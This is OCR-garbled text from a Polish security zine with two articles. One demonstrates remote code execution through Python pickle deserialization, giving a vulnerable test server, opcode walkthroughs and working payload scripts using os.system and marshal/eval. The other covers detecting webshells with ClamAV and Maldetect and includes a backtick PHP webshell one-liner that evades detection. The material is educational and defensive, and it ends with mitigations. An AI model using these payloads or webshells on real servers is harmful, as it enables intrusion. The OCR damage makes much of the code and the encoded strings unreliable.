date = base64.b64decode(date_encoded)
date = pickle.loads(date)

except:

self.output_error('Error decoding date. Rolling back to default.')
date_encoded = DEFAULT_DATE
date = pickle.loads(base64.b64decode(date_encoded))
try:
output = TEMPLATE.format(date.year, date.month, date.day, date_encoded)
except AttributeError:
self.output_error("Something went wrong. Sorry.")

output = "'
self.wfile.write(output)
return
if _name__ == '_main__':
try:

(host, port) = ('127.0.0.1', 9072)
print "Listening on {}:{}".format(host, port)
server = HTTPServer((host, port), MyHandler)
server.serve_forever()

except KeyboardInterrupt:
print 'Exit.’

Kod moze na pierwszy rzut oka wygladac¢ na skomplikowany, ale aplikacja w isto-
cie rzeczy jest prosta. Po jej uruchomieniu, pod adresem http://127.0.0.1:9072/
nastuchiwac bedzie serwer z aplikacja. Aplikacja przyjmuje w parametrze GET jeden
parametr, ktérym jest base64 zserializowanego obiektu (tak wtasnie wygladato to
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we wspomnianej aplikacji Google’a). Aplikacja probuje zdeserializowac ten obiekt
i wyswietli¢ jego atrybuty: year, month, day. Na przykfad, po wejsciu pod URL:

http://127.0.0.1:9072/?date=Y2RhdGV@alW11CmRhdGVO@aW11CnAwCihTJI1x4MDdceGR1XH
gWN1X4MWRceDBjXHgXOFx4MT dceDAzXHhjMFx4MTMNCnAXCnRwMgpScDMKLgE%3D%3D

zobaczymy w odpowiedzi:

Year: 2014

Month: 6

Day: 29

¥2RhdGV0aW1ICmRhdGV0aW 1ICnAwWCihT] 1x4MDdceG

RIXHgwhIxdMWRceDEXHoxOF xdMTdceDazXHhjMFx4
MTMACnaAxCnRwMgpScDMELg==

| Goon! |

Testowa aplikacja

Wartos¢ atrybutu date odpowiada obiektowi pythonowemu: datetime.date-
time(2014, 6, 29, 12, 24, 23, 245779).Dla wygody, w aplikacji umie-
$citem pole tekstowe, w ktorym mozna wkleic cigg base64 z ciggiem znakow, ktéry
chcemy deserializowac.

JAK DZIAEA PICKLE?

W artykule o PHP Object Injection pokazywatem, ze wykorzystanie podatnosci
zalezy od tego, jakie klasy znajduja sie w aplikacji. Nie istniat tam uniwersalny spo-
s6b np. na zdalne wykonywanie kodu, ktory zadziatatby w kazdej podatnej aplikacji.
W przypadku Pythona i pickle, sprawa ma sie lepiej, bowiem niefiltrowane pick-
le.loads () praktycznie gwarantuje zdalne wykonywanie kodu w aplikacji.

W przeciwienstwie do PHP i kilku innych jezykéw programowania, format seria-
lizacji danych uzywany przez pickle, jest de facto mini-jezykiem programowania,
opierajagcym sie na stosie, z wkasnym zestawem op-code’dw. Deserializacja danych
jest wiec wykonaniem pewnego kodu przez,maszyne wirtualng” pickle, skutkujace
odtworzeniem pierwotnego obiektu.

Liste wszystkich op-code’dw znajdziemy oczywiscie w zrodtach modutu pickle;
ponizej prezentuje te, ktére beda nam potrzebne do wykonywania dowolnego kodu.

Unpickle — deserializacja w Pythonie i zdalne wykonywanie kodu

MARK = '(' # push special markobject on stack

STOP ="' # every pickle ends with STOP

REDUCE = 'R’ # apply callable to argtuple, both on stack

STRING = 'S’ # push string; NL-terminated string argument

GLOBAL = 'c' # push self.find_class(modname, name); 2 string args
TUPLE = 't # build tuple from topmost stack items

Tuple (krotka) to typ danych w Pythonie, ktéry mozna traktowac jako niezmienialng
liste. Przyktadowo (“sekurak”, 33, “pl”) to krotka skladajaca sie z trzech elementow.

Idac po kolei:

» ' (' -wrzucenie na stos specjalnego obiekt MARK, ktory bedzie potrzebny przy
opcodzie TUPLE.

» '.'-powoduje zakohczenie przetwarzania kodu.

» 'R'-pobranieze szczytu stosu dwoch elementéw, gdzie pierwszy jest krotkg zawie-
rajaca liste argumentoéw, a drugi jest referencjg do funkgji, ktéra zostanie wykonana.

» 'S' - wrzucenie na stos ciggu znakow,

» 'c' - pobranie ze stosu dwoch elementéw — nazwy modutu (modname) i nazwy
pola tego modutu ( name), nastepnie na stos wrzucana jest referencja do mod-
name.name.

» 't' - utworzenie krotki idgc na stosie od obiektu MARK do szczytu stosu,

Zeby lepiej zrozumie¢ dziatanie poszczegdlnych opcode’dw, zobaczmy proste przyktady:
1. Deserializujemy cigg znakéw ,testowy string”

import pickle

Wy string”

Pierwszy przyktad

W Pythonie uzycie potrdjnych apostroféw lub cudzystowéw pozwala tworzy¢ ciggi znakéw
skladajace sie z wielu linii.

¥» 0

SEKURAK.PL / [ITENINE

Czym jest Path Traversal?
Hardening WordPress

Unpickle - deserializacja
w Pythonie i zdalne
wykonywanie kodu

Webshells - wykrywanie tylnych
furtek w aplikacjach WWW

HTTP Strict Transport Security
(HSTS) w praktyce, czyli zmuszamy
przeglgdarke do stosowania
bezpiecznych potgczen

Wykradanie tokendw,

hakowanie jQuery i omijanie
Same-O0Origin Policy - czyli jak
wygratem XSSMas Challenge 2016

Server-Side Template Injections

&

n PODZIEL SIE ZINEM


https://github.com/python/cpython/blob/2.7/Lib/pickle.py
$$$/Dialog/Behaviors/GoToView/DefaultURL

Michat Bentkowski

Przyktad dos¢ prosty, w pierwszej linii tworzymy string (za pomoca opcode’u
STRING), a w drugiej konczymy opcodem STOP.
2. Tworzymy krotke.

import pickle

ring ', 'drugi string', 'trz

Drugi przyktad

Na samym poczatku wrzucamy na stos obiekt MARK, potem definiujemy trzy strin-
gi, by na koncu opcodem TUPLE utworzy¢ z nich krotke.
3. Uzywamy opcode’'u GLOBAL

import pickle

"''opickle
kleError

Trzeci przyktad

Korzystamy z opcode’'u GLOBAL ( ' ¢ "), w ktérym odwotujemy sie do obiektu pick-
le.PickleError.

Przykfady nie powinny by¢ trudne do zrozumienia, zwtaszcza dla oséb, ktore
miaty stycznos¢ z programowaniem w dowolnym asemblerze. Sprébujmy teraz
przygotowac kod, ktéry spowoduje wywotanie dowolnego polecenia systemu ope-
racyjnego. W Pythonie stuzy do tego metoda os.system() , jej jedyny argument
to nazwa polecenia, ktére zechcemy wykonac.

Unpickle — deserializacja w Pythonie i zdalne wykonywanie kodu

Zatem musimy:

1. Wrzucic¢ na stos referencje do os.system(),

2. Wrzuci¢ na stos jednoelementowa krotke np. ( 'ping -cl1 sekurak.pl',).

3. Skorzystac¢ z opcode’u REDUCE ( 'R"), by wykonac funkcje ze stosu z argumenta-
mi z krotki.

Na podstawie przyktadéw powyzej, piszemy gotowy kod:

import pickle

Wykonujemy kod
Pozostaje wiec tylko zakodowac zawarto$¢ zmiennej x w postaci base64 i sprobo-

wac uzy¢ tego w naszej testowej aplikacji.

Mdate=Y292CnN5c3RIbQooly)waWwsnIC1JMSBzZWitlcmFrinBslgpOUi4%3D C

[i5] Most Visited ~ | | Pierwsze kroki [ | Save to Shortlist
Something went wrong. Sorry.

® 00 [ | tmp — Python — 80x24 i

me=131.579 ms

Zdalne wykonywanie kodu w aplikacji
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Aplikacja wyswietla btad, ale wyjscie serwera www pokazuje, ze polecenie zostato
wykonane. Czyli atak sie udat.

Na tym ten artykut moégtby sie zakonczy¢, ale pokaze jeszcze troche inne po-
dejscie do rozwigzania problemu, podyktowane ograniczeniami narzuconymi przez
srodowisko, w ktorym dziatata wspominana przeze mnie na poczatku aplikacja
Google.

WYKONUJEMY KOD BEZ OS.SYSTEM

W srodowisku Google’a, wiekszo$¢ wywotan systemowych (w tym oczywiscie
os . system) byto zablokowanych. Tak wiec, pomimo zdalnego wykonywania kodu,
nie bytem w stanie wykonywac polecen systemu operacyjnego. Jednak nawet bez
tego, mozna prébowac wyciagna¢ wiele informacji z systemu operacyjnego, ko-
rzystajac z samych funkcji Pythona (np. os.1istdir() do listowania zawartosci
katalogu). Napiszemy wiec kod, ktéry pozwoli nam zserializowa¢ dowolna funkcje
Pythona.

Wykorzystamy do tego modut marshal. Marshal jest kolejnym modutem do seria-
lizacji w Pythonie. Po wiecej szczegotdéw, w tym wyjasnienie sensu uzywania dwoch
ré6znych modutéw do serializacji w bibliotece standardowej Pythona odsytam do
dokumentacji. Wazne jest to, ze marshal - w przeciwienstwie do pickle — potrafi tak-
ze serializowac kod funkgji.

Kazda funkcja ma atrybut func_code, ktéry jest reprezentacjg skompilowanego
kodu funkgji. Atrybut ten zwraca obiekt typu code object. Co ciekawe, code objects
moga by¢ uzywane jako argumenty do funkcji eval().

8 00 | tmp — Python — 8
Python

def ()
print "Test."

eva L (T Func_code )

Wywotywanie func_code

Unpickle — deserializacja w Pythonie i zdalne wykonywanie kodu

Jak widzimy na przyktadzie, zdefiniowatem prosta funkcje (), a nastepnie prze-
kazatem jej atrybut func_code jako argument funkcji eval(), po czym funkcja
zostata po prostu wykonana. Z naszego punktu widzenia wazne jest to, ze modut
marshal potrafi zserializowac ten obiekt. Zobaczmy przyktad:

® 00 || tmp — Python — 80x24 i
Python Python

def {0
print "Test."

import marshal

m o= marshal dumps(f . func_code

el {marshal . Loods(m’

Serializowanie kodu funkcji

Gdybysmy sprobowali uzy¢ modutu pickle do zserializowania tego code object, nie-
stety, otrzymalibysmy wyjatek.

: can't pickle code objects

Pickle nie chce wspdtpracowac

Pamietamy jednak, ze nasza testowa aplikacja webowa uzywa modutu pickle, nie
marshal. Nie jest to jednak wielki problem, bo pokazalismy juz wczesniej, ze z mo-
dutu pickle potrafimy importowac inne moduty oraz wykonywa¢ metody. Dlatego,
w pickle potrzebujemy wykona¢ dwa kroki:
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Michat Bentkowski Unpickle — deserializacja w Pythonie i zdalne wykonywanie kodu
1. Uzyskac referencje do funkcjimarshal.loads (), by zdeserializowac code object. 6. Budujemy krotke - od szczytu stosu do obiektu MARK, czyli powstanie jednoele- SEKURAK.PL /
2. Wynik powyzszej deserializacji przekaza¢ do funkcji eval(). mentowa krotka (m, ) (gdzie m, to zmarshalowany kod funkgji),
7. Wykonujemy funkcje. W tym momencie zostanie wykonana funkcja marshal.
Do metody eval() mozna tez uzyska¢ dostep przez specjalny modut __builtin_ ,tj. buil- loads(m), a jej wynik zostanie wrzucony na stos. Czym jest Path Traversal?
tin_-eval(). 8. Budujemy kolejng krotke. Krotka znéw bedzie jednoelementowa, tym razem

na szczycie stosu jest wynik wywotania funkgji z punktu powyzej, a wiec powsta- Hardening WordPress

Oto gotowy kod: nie (marshal.loads(m), ).
. 9. Wykonujemy funkcje. Zostanie wywotana funkcja _ _builtin__.eval z argu-
#!/usr/bin/python . . . . . .
import base64 mentami z krotki, a wiec __builtin__ .eval(marshal.loads(m)). To jest Unpickle - deserializacja
import pickle, marshal moment, w ktérym nastgpi wykonanie kodu funkcjimalicious(). w Pythonie i zdalne

def malicious(): wykonywanie kodu

import os Na samym koncu, kod dla pickle jest jeszcze zamieniany na base64 — dla wygody,
print "If you can see it, you are RCE-ed ;-). poniewaz taki format jest oczekiwany przez testowg aplikacje webowa.

print os.listdir('/") _ .
Teraz wykonajmy ten kod, wklejmy wynikowy base64 do aplikacji i zobaczmy co Webshells - wykrywanie tylnych

def main(): ) ] furtek w aplikacjach WWW

m = marshal.dumps(malicious.func_code) sie stanie :)

c = ""'c__builtin__
eval . ]
(cmarshal | & | @ (QJAAAADWFsaWNpb3VzBQAAAHMGAAAAAAEMAQUEIgpOUNRSLg%3D%3D ~ C HTTP Strict Transport Security
Loads o o 1 S B _ (HSTS) w praktyce, czyli zmuszamy
EFS{tR ot m.encode('string-escape’) + | [ Most visite { ! Pierwsze kroki | | Save to Shortlist TR SR

print base64.b64encode(c) Something went wrong. Sorry. bezpiecznych potqczerﬁ
if _name__ == '__main__':

main() =

fnicii funkcii .. . o kod. ktory ch 8.0.8 e Btions - Wykradanie tokenow,
Zaczynamy od definicji funkcjimalicious (), znajdzie sie w niej kod, ktéry chcemy | Python bash b oSy S e

wykonac po stronie ofiary. W funkcji main() zaczynamy od marshalowania kodu
funkcji malicious (), a nastepnie budujemy kod, ktory pozwoli ja zdemarshalo-
wac. Sprawdzmy, jak ten kod dziata po kolei:

Same-O0Origin Policy - czyli jak
wygratem XSSMas Challenge 2016

1. Wrzucamy na stos referencje do funkcji __builtin__.eval(), Server-Side Template Injections

2. Wrzucamy na stos obiekt MARK, ktory postuzy do budowania krotki z listg argu-
mentéw do funkgji z punktu 1,

3. Wrzucamy na stos referencje do funkcjimarshal.loads(),

4. Wrzucamy na stos obiekt MARK, ktory postuzy do budowania krotki z listg argu-
mentéw do funkgji z punktu 2,

5. Wrzucamy na stos stringa zawierajgcego zmarshalowany kod funkgji, ktéra ma sie #If you can see it, you are RCE-ed ;-).”

wykonac po stronie ofiary, ‘

n PODZIEL SIE ZINEM



$$$/Dialog/Behaviors/GoToView/DefaultURL

Michat Bentkowski

Aplikacja znow wyswietla bfad, ale logi serwera wyraznie pokazujg, ze kod sie wy-
konat. Sukces! Potrafimy juz wykona¢ dowolny kod Pythona po stronie serwera :)

PODSUMOWANIE

Podobnie jak w przypadku PHP, jesli nie niezbedne, najlepiej zrezygnowac z pickle
na rzecz innych modutéw do zapisu obiektéw (np. JSON). Jesli uzywanie pickle jest
konieczne, warto pomysle¢ o zastosowaniu zabezpieczenia HMAC. Dokumentacja Py-
thona w wersji 3, przedstawia jeszcze jeden sposéb na ograniczenie klas, ktére mozna
importowac. Ten sam sposob dziata réwniez w Pythonie 2.

Gtéwna réznica miedzy Pythonem i PHP jest taka, ze niefiltrowana deserializacja
w Pythonie, praktycznie gwarantuje mozliwos¢ wykonywania dowolnego kodu.

Y19fYnVpbHRpb19fCmV2YWwWKKGNtYXJIzaGFsCmxvYWRzCihTImN
ceDAwWXHgWMF x4MDB ceDAwWXHgWMVx4MDBceDAWXHEWMFx4MDNceD
AwXHgWMF x4MDBDXHgWMF x4MDB ceDAwcyNceDAwWXHgWMF x4MDBkX
HgwMVx4MDBkXHgWMF x4MDB s XHgWMF x4MDBOXHgWMF x4MDBkXHgw
M1x4MDBceDg@XHgWMF x4MDB8XHgWMF x4MDBgXHgWMVx4MDBkXHg
wM1x4MDBceDE5X1x4MDJceDAwZFx4MDBceDAwUyhceDAOXHgWMF
X4MDBceDAwTm1ceGZmXHhmZ1x4ZmZceGZmY1x4MDF ceDAwXHgwWM
Fx4MDBceDAXXHgWMFx4MDBceDAwXHgWMVx4MDBceDAWXHEWMFNC
eDAWXHgWMF x4MDBzXHgWNF x4MDB ceDAWXHEWMGR ceDAXXHgWMFM
0XHgwM1x4MDBceDAwXHgWME5zXHgwY 1x4MDBceDAWXHgWMDXIMT
5YU1M8L2gxPihceDAwXHgWMFx4MDBceDAWKF x4MDF ceDAWXHgWM

Unpickle — deserializacja w Pythonie i zdalne wykonywanie kodu

#1/usr/bin/python
import base64
import pickle, marshal

def malicious():
import sys
sys.modules['cgi'].escape=lambda x:'<H1>XSS</h1>"
#MyHandler.output_error = lambda x: "<h1>XSS</h1>"

def main():
m = marshal.dumps(malicious.func_code)
c = """c__builtin__
eval
(cmarshal
loads
(S"''"" + m.encode('string-escape') +
tRtR."""'
#print c
print base64.b64encode(c)

if __name__ == '__main__':
main()

Michat Bentkowski. Realizuje testy penetracyjne oraz audyty
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Fx4MDBOXHgWMVx4MDBceDAwWXHgWMHEoXHgWMF x4MDB ceDAwWXHgW
MChceDAwXHgWMF x4MDBceDAwc 1x4MDVceDAwWXHgWMFx4MDBhYS5
weXRceDA4XHgWMF x4MDBceDAwWPGXxhbWJIKYTS5ceDA3XHgWMF x4MD

bezpieczenstwa w firmie Securitum. Autor w serwisie sekurak.pl. Aktywnie

(i z sukcesem) uczestniczy w znanych programach bug bounty. bezpiecznych potgczen

BceDAwc1x4MDBceDAwWXHEWMF x4MDBOXHEWM1x4MDBceDAWXHgWM
GNnaShceDAzXHgwMF x4MDBceDAwdF x4MDNceDAwXHgWMF x4MDBz
eXNOXHgwN1x4MDBceDAWXHgWMG1vZHVsZXNOXHgWN1x4MDBceDA
wXHEWMGVzY2FwZShceDAXXHgWMF x4MDBceDAwU1x4MDNceDAwXH
gWMF x4MDAoXHEWMF x4MDB ceDAwXHgWMCh ceDAwWXHgWMF x4MDBce
DAwc1x4MDVceDAwXHgWMFx4MDBhYS5weXRcdFx4MDBceDAwWXHgW
MG1hbG1jaW91c1x4MDVceDAwWXHgWMFx4MDBzXHgWNF x4MDBceDA
WXHEgWMF x4MDB ceDAXXHgWY1x4MDEiCnRSdFIu
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Webshells - wykrywanie tylnych furtek
w aplikacjach WWW

Utrzymujac infrastrukture na ktérej uruchamiane sg liczne aplikacje
WWW, z czasem moze zaj$¢ potrzeba wdrozenia mechanizmu, ktéry po-
zwoli administratorowi zweryfikowa¢, czy poSroéd standardowych plikéw
zainstalowanych aplikacji nie pojawilo sie oprogramowanie niechcia-
ne. Artykul omawia podstawy zwigzane z klasg zagrozen znanych jako
tzw. webshelle. Przedstawione zostaty m.in. metody ich wykrywania, kilka
stéow komentarza poSwiecono skutecznosci kazdej z wymienionych metod.
W ramach artykutu przygotowano réwniez srodowisko testowe, ktére moz-
na wykorzysta¢ do treningu zdobytych w trakcie lektury umiejetnosci.

CZYM SA WEBSHELLE?

Webshelle nalezy traktowac jako tylnie furtki (ang. backdoor), ktére umozliwiaja
zdalny dostep do powtoki systemowej serwera. W wiekszosci przypadkéw ten zto-
$liwy fragment kodu wykorzystuje wbudowane w wybrang technologie funkcje po-
zwalajace na wykonywanie wspomnianych polecen systemowych. Czesta praktyka
jest dodanie do webshelli metod, ktére pozwalajg m.in. na wygodne pobieranie
plikdw z przejetego serwera, lub nawigacje po jego zasobach. W przypadku utrzy-
mywania na serwerach aplikacji WWW, trzeba rozwazy¢ wdrozenie okresowych
polityk, ktére bedg wymuszaty weryfikacje obecnosci tego typu oprogramowania.
Dobrg praktyka, jest rowniez przeprowadzenie analizy ewentualnych konsekwencji
wykrycia tego typu oprogramowania w naszej infrastrukturze.

POTENCJALNE KONSEKWENC]JE
Przed rozpoczeciem weryfikacji plikow aplikacji WWW, moze pojawic sie potrze-
ba wypracowania odpowiedniej motywacji, do podjecia tego dziatania. W tym celu
pomocna bedzie réwniez analiza ewentualnych konsekwencji pod katem nieauto-
ryzowanego dostepu do serweréw:
» wycieku poufnych danych, zawartosci baz danych,
» wykorzystania serwera do rozsyfania niechcianej poczty (SPAM),
» wykorzystania serwera jako punktu,przesiadkowego” do atakéw na inne cele,
» konfiguracji serwera, ktory moze posiadac dostep do sieci wewnetrznej, a co za
tym idzie, dalszej penetraciji sieci,

Webshells - wykrywanie tylnych furtek w aplikacjach WWW

» wykorzystania aplikacji uruchomionej na serwerze do infekcji ztosliwym
oprogramowaniem,

» wykorzystania mocy obliczeniowej serwera do generowania réznego typu
kryptowalut.

Warto przyjrze¢ sie tego typu zagrozeniom, chociazby z perspektywy nowej defi-
nicji i wymogow technicznych oraz organizacyjnych przetwarzania danych osobo-
wych wprowadzonych regulacjg unijng GDPR.

ZALOZENIA ARTYKULU
Podstawowym zatozeniem jest przedstawienie wiedzy w taki sposob, by méc na

jej podstawie wypracowac proces oraz schemat pracy, ktéry znajdzie zastosowanie

przy cyklicznej weryfikacji wystepowania ewentualnych zagrozen.
Wobec tego, przyjac nalezy, iz kwestie analizy powtamaniowej beda pominiete,
na rzecz nastepujacych zatozen:

» artykut kierowany jest w pierwszej kolejnosci do kadry zarzadzajacej systemami
operacyjnymi, ktéra okresowo chce przeprowadzi¢ weryfikacje plikéw przecho-
wywanych na serwerze, pod katem obecnosci niepozadanego oprogramowania
klasy webshell,

» atakujgcemu nie udato sie skutecznie podnies¢ uprawnien do uzytkownika
0 WyZzszym poziomie autoryzacji,

» artykut skupia sie na aplikacjach i serwerach uruchomionych w oparciu o syste-
my z rodziny Linux,

» serwer, na ktérym uruchomiona jest zaatakowana aplikacja, nie posiada wdrozo-
nej polityki monitorowania zmian w systemie plikdw.

SRODOWISKO PRACY

Przed przystapieniem do weryfikacji wystepowania zagrozenia, nalezy zasta-
nowi¢ sie nad tym, w jakim srodowisku chcemy wykona¢ zaplanowang prace.
Uruchamiane réznego typu narzedzi automatycznych, wyszukujacych zagrozenia
moze nie by¢ najlepszym pomystem w przypadku srodowiska produkcyjnego. Po-
tencjalne problemy moga wystapi¢ nawet w podczas wykorzystywania prostych
komend systemu Linux, takich jak grep czy find. Przeszukiwanie bardzo duzych
zbioréw plikow moze wptynac na chwilowa stabilnos¢ pracy serwera. Jezeli zatem
nasza aplikacja dziata w srodowisku zwirtualizowanym, trzeba rozwazy¢ wyko-
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nanie migawki (ang. snapshot) i przeprowadzenie prac w bezpiecznym, lokalnym
srodowisku.

Wykonanie kopii plikéw przed przystapieniem do jakichkolwiek prac, moze miec
rowniez kluczowe znaczenie z perspektywy zachowania odpowiedniego materiatu
dowodowego.

POZNA]J PRZECIWNIKA

Wykonujac analize powtamaniowg ktorys raz z rzedu, mozna zauwazy¢ pewne
wzorce. Praktyka wskazuje na to, ze atakujacy czesto wykorzystujg gotowe oprogra-
mowanie, ktore posiada rézny stopien zaawansowania funkcjonalnosci (Rysunek 1,
Rysunek 2).

W sieci, od jakiego$ czasu tworzone sg nawet repozytoria gromadzace przyktady
tego typu gotowych do wykorzystania webshelli:

» https://github.com/BlackArch/webshells

Osoby majace dostep do dystrybucji Kali Linux, powinny réwniez zweryfikowac¢ za-
wartosc¢ katalogu webshells (Listing nr. 1).

Listing 1. Zbior webshelli w dystrybucji Kali Linux.

art@kali:~$ find /usr/share/webshells/ -type f
/usr/share/webshells/cfm/cfexec.cfm
/usr/share/webshells/php/simple-backdoor.php
/usr/share/webshells/php/php-findsock-shell.php
/usr/share/webshells/php/findsock.c
/usr/share/webshells/php/qsd-php-backdoor.php
/usr/share/webshells/php/php-backdoor.php
/usr/share/webshells/php/php-reverse-shell.php
/usr/share/webshells/asp/cmd-asp-5.1.asp
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/jsp/jsp-reverse.jsp
/usr/share/webshells/jsp/cmdjsp.jsp
/usr/share/webshells/perl/perlcmd.cgi
/usr/share/webshells/perl/perl-reverse-shell.pl
/usr/share/webshells/aspx/cmdasp.aspx

Cecha charakterystyczng dla wiekszosci tego typu oprogramowania jest, préba od-
wotania sie wprost do roznego typu funkcji wybranej technologii, ktére pozwalaja
na wywotywanie polecen systemowych. W przypadku PHP mowa chociazby o funk-
cjach exec lub system, w przypadku JSP moze to polegac¢ na wykorzystaniu klasy
Runtime.

Webshells — wykrywanie tylnych furtek w aplikacjach WWW

phpinfo  php.ini  cpu  mem  tmp  delete
URL MySQL MSSQL F t

Jvarfwww/html/webshells/php Sikat

Rysunek 1. Jedna z wersji webshella r57.

@& c99Shell v. 1.0 pre-release build #13 §

Software: . PHP/7.0.15-1
uname -a: Linux kali 4.9.0-kalil-amd64 #1 SMP Debian 4.9.6-3kali2 (2017-01-30) x86_64
uid=0(root) gid=0(root) groups=0{root)
Safe-mode:
Svar/www /html/webshells/php/
Free 1.28 GB of 28.16 GB (4.55%)
. 3

4 w I S
ﬁ = o F Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logo

1o77s
[oss [+
16600

Rysunek 2. Inny popularny webshell — c99.

NARZEDZIA AUTOMATYCZNE

llo$¢ obowigzkéw administratora systeméw nie zniecheca do recznego przegla-
dania plikéw pod katem obecnosci niepozagdanego oprogramowania. Z tego tez
powodu, administratorzy chetnie wykorzystujg gotowe rozwigzania, ktore prébuja
automatyzowac proces przeszukiwania zasobéw serwera.
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W sieci mozna znalez¢ opisy wykorzystania kilku z nich — w tym artykule do
weryfikacji obecnosci webshelli wykorzystany zostanie ClamAV (antywirus) oraz
skrypty czesciej utozsamiane z wyszukiwaniem tego typu tylnych furtek, takich jak
Maldetect.

W ramach testu zweryfikowane zostanie, jak kazdy z tych programoéw sprawdzi
sie w wykrywaniu zagrozen, gdzie jako probki wykorzystane zostang webshelle po-
chodzace z repozytorium BlackArch. Na czas pisania artykutu, zbiér testowy sktada
sie z 237 elementow (Listing nr. 2)

Listing 2. Przygotowywanie testowego zestawu webshelli

art@kali:~$ git clone -q https://github.com/BlackArch/webshells.git
art@kali:~$ cd webshells/

art@kali:~/webshells$ find . -type f | wc -1

237

art@kali:~/webshells$

ClamAVvV

Weryfikacje tego, jak ClamAV sprawdza sie w roli oprogramowania do wykrywa-
nia webshelli, nalezy rozpoczac¢ od aktualizacji bazy - polecenie freshclam. Nastep-
nie warto wymusi¢ na nim rekursywne przeszukiwanie katalogéw (przetacznik r).
W ramach weryfikacji wystarczajace bedzie réwniez, aby skaner jedynie poinfor-
mowat nas o ilosci wykrytych zagrozen, bez podejmowania dodatkowych dziatar
(przetaczniki).

Listing 3. Skanowanie webshelli antywirusem ClamAV

art@kali:~/webshells$ freshclam --quiet

art@kali:~/webshells$ clamscan -r -i .
./php/NIX_REMOTE_WEB-SHELL_v.0.5_alpha_Lite_Public_Version.php: Html.Trojan.
Exploit-84 FOUND

./php/h4ntu_shell [powered_by_tsoi].php: Win.Trojan.Remoteadmin-4 FOUND
./php/stres.php: Win.Trojan.Shell-20 FOUND

./php/magiccoder.php: Win.Trojan.ShellExec-1 FOUND

[..]

./php/ex@shell.php: Win.Trojan.Shell-15 FOUND

./php/zaco.php: Win.Trojan.Shell-55 FOUND

./php/C99Shell v. 1.0 beta (5.02.2005).php: Win.Trojan.C99-4 FOUND
./asp/cmdasp.asp: Win.Trojan.Ace-8 FOUND

./perl/Perl Web Shell by RST-GHC.pl: Win.Trojan.R57-2 FOUND
./aspx/shell.aspx: Legacy.Trojan.Agent-36242 FOUND

Webshells — wykrywanie tylnych furtek w aplikacjach WWW

Known viruses: 5827207

Engine version: ©.99.2

Scanned directories: 24

Scanned files: 237

Infected files: 113

Data scanned: 20.91 MB

Data read: 11.97 MB (ratio 1.75:1)
Time: 16.861 sec (@ m 16 s)
art@kali:~/webshells$

Na potrzeby artykutu z Listingu nr. 3, usunieto 103 srodkowe wpisy. Wszystkie z nich

dotyczyty webshelli wykonanych w technologii PHP. Na podstawie wynikéw skano-

wania, mozna wysnuc nastepujace wnioski:

» ClamAV najlepiej wypada w przypadku wyszukiwania webshelli stworzonych
z wykorzystaniem technologii PHP, skuteczno$¢ wynosi ponad 50%,

» ClamAV jest réwniez w stanie wykry¢ niebezpieczne skrypty stworzone z wyko-
rzystaniem technologii ASP, ASPX oraz Perl,

» niewykryte zostaty webshelle stworzone z wykorzystaniem Java ServerPages
oraz Adobe ColdFusion.

ClamAYV jest w stanie pomo6c w wykrywaniu webshelli, jednak najprawdopodobniej
ze wzgledu na to, ze nie jest to oprogramowanie dedykowane do tych celéw, nie
mozna go tez traktowac jako podstawowe narzedzie do wykrywania webshelli.

Maldetect

Innym oprogramowaniem, ktére mozna wykorzystac¢ do przeszukiwania zbioréw
plikow pod katem webshelli, jest Maldetect. Jak piszg o nim sami tworcy, jest dedyko-
wany do wyszukiwania oprogramowania typu malware w srodowiskach wspotdzie-
lonego hostingu. Nalezy zweryfikowa¢, jak Maldetect poradzi sobie w poréwnaniu
z ClamAV, podczas weryfikacji tego samego zestawu danych (Listing nr. 4).

Listing 4. Weryfikacja skutecznosci Maldetect.

art@kali:~/webshells$ find . -type f > list.txt
art@kali:~/webshells$ maldet -f ./list.txt
Linux Malware Detect v1.5
(C) 2002-2016, R-fx Networks <proj@rfxn.com>
(C) 2016, Ryan MacDonald <ryan@rfxn.com>
This program may be freely redistributed under the terms of the GNU GPL v2

maldet(6349): {scan} signatures loaded: 11294 (9343 MD5 / 1951 HEX / @ USER)
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maldet(6349): {scan} user supplied file list ,./list.txt’, found 237 files...
maldet(6349): {scan} found clamav binary at /usr/bin/clamscan, using clamav
scanner engine...

maldet(6349): {scan} scan of ./list.txt (237 files) in progress...
maldet(6349): {scan} processing scan results for hits: 137 hits @ cleaned
maldet(6349): {scan} scan completed on ./list.txt: files 237, malware hits 137,
cleaned hits 0, time 22s

maldet(6349): {scan} scan report saved, to view run: maldet --report
170216-1340.6349

maldet(6349): {scan} quarantine is disabled! set quarantine_hits=1 in conf.maldet
or to quarantine results run: maldet -q 170216-1340.6349

Nie zagtebiajac sie w szczegdty, Maldetect wykryt o ponad dwadziescia zagrozen
wiecej w poréwnaniu do ,czystej” wersji ClamAV.

NIE LEKCEWAZ PRZECIWNIKA

Jezeli administrator dysponuje wiekszg iloscig czasu, czesto decyduje sie na
stworzenie wtasnych skryptéw, ktore przeszukujg wybrany zakres plikéw pod ka-
tem popularnych dla danych technologii niebezpiecznych funkcji. Predzej czy p6z-
niej, sprowadza sie to do wykorzystania standardowych programoéw grep oraz find.
Przy takim podejsciu przekazuje sie na wejsciu tych programow zakres plikéw do
przeszukania oraz liste wzorcow, ktére majg one wyszukiwac w plikach. Czesto jed-
nak lista standardowych filtréw obejmuje jedynie najbardziej popularne funkcje,
dla PHP moze to by¢ exec, base64, eval lub system. Bardzo prostym sposobem,
jaki moze wykorzystac atakujgcy aby unikna¢ wykrycia, w takim przypadku jest wy-
korzystanie chociazby tzw.,Execution Operators’, ktére w PHP pozwalaja na wyko-
nanie dowolnego polecenia systemowego, a ktore bardzo rzadko uwzgledniane sg
na listach podejrzanych ,funkgji” (Listing nr. 5).

Listing 5. Przyktad wykorzystania backtickéw do uruchomienia polecenia systemowego

art@kali:~/webshells$ echo ,<?php echo "$_GET[@] ;’ > backticks.php
art@kali:~/webshells$ echo ./backticks.php > list.txt
art@kali:~/webshells$ maldet -f ./list.txt

Linux Malware Detect v1.5

]

maldet(13733): {scan} scan completed on ./list.txt: files 1, malware hits 0,
cleaned hits @, time 12s

maldet(13733): {scan} scan report saved, to view run: maldet --report
170216-1412.13733

art@kali:~/webshells$ php-cgi -q backticks.php ©=id;pwd

uid=0(root) gid=@(root) groups=0(root)

/root/webshells

art@kali:~/webshells$

Webshells — wykrywanie tylnych furtek w aplikacjach WWW

Stosujac podejécie opierajace sie na przeszukiwaniu plikéw pod katem uzycia
niebezpiecznych funkcji, nalezy zdac sobie sprawe z tego, ze dana technologia
moze posiadac bardzo duzg ilo$¢ réznych sposobdéw prowadzacych do wykonania
